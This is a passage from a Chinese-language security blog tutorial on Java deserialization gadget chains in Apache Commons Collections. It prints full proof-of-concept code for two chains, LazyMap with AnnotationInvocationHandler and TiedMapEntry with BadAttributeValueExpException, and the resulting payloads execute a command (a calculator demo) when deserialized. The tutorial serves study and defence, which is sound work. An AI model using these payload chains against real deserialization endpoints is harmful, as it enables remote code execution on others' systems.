                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","axin");

        Map lazyMap = LazyMap.decorate(innerMap,chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        // 創建LazyMap的handler實例
        InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,lazyMap);
        // 創建LazyMap的動態代理實例
        Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(), handler);
        
        // 創建一個AnnotationInvocationHandler實例,並且把剛剛創建的代理賦值給this.memberValues
        InvocationHandler handler1 = (InvocationHandler)cons.newInstance(Override.class, mapProxy);

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler1);
        oos.flush();
        oos.close();
        // 本地模擬反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

運行一波,彈出wireshark(雖然反序列化過程報錯了,但是還是執行了命令,報錯這個問題我還沒解決~):

在這裏插入圖片描述

當然,LazyMap還有其他構造利用鏈的方法,我們後續再談~

LazyMap利用鏈補充

上面的利用鏈受限於jdk版本,我們來看一看另外一種利用方式,這條利用鏈不是用動態代理的方式觸發了,我們一起來看看吧:

從上一條利用鏈我們已經知道LazyMap類的get方法中調用了transform方法,那麼除了AnnotationInvocationHandler的invoke方法中調用了get方法外,還有沒有其他的地方也調用了get方法呢?當然有,TiedMapEntry類的getValue方法也調用了,如下:

public Object getValue() {
        return this.map.get(this.key);
    }

而且this.map我們也可以控制,但是我們最終要找的還是readObject方法中的觸發點,所以繼續網上找,看看哪裏調用了TiedMapEntry的getValue方法,找到TiedMapEntry類的toString方法:

public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

toString方法與php中的__toString方法類似,在進行字符串拼接或者手動把某個類轉換爲字符串的時候會被調用,所以,現在我們找找把TiedMapEntry的對象當做字符串處理的地方,找到了BadAttributeValueExpException的readObject方法中有相關調用:

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

可以看到第三個if分支裏調用了valObj.toString(),而valObj=gf.get("val", null),這裏其實就是讀取傳過來對象的val屬性值,所以,只要我們控制BadAttributeValueExpException對象的val屬性的值爲我們精心構造的TiedMapEntry對象就行。所以,就有了下面的poc:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class POC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"gnome-calculator"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","axin");

        Map lazyMap = LazyMap.decorate(innerMap,chain);
        // 將lazyMap封裝到TiedMapEntry中
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val");
        // 通過反射給badAttributeValueExpException的val屬性賦值
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();
        // 本地模擬反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

這裏有一點需要注意,那就是不嗯給你直接在初始化的時候就給badAttributeValueExpException 對象的val屬性賦值,因爲它的構造函數如下:

public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

這裏直接就調用了val.toString,所以,如果通過構造函數賦值val屬性爲我們構造的TiedMapEntry對象對導致在本地生成payload的時候就執行了命令,並且我們精心構造的對象還會被轉換爲String類型,就失效了。最後,彈個計算器吧~

在這裏插入圖片描述

其他

weblogic調試方法參考:

https://blog.csdn.net/defonds/article/details/83510668

java安全管理器SecurityManager入門:

https://www.cnblogs.com/yiwangzhibujian/p/6207212.html

文章首發於安全客!https://www.anquanke.com/post/id/195865

歡迎關注我的公衆號,持續更新…

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章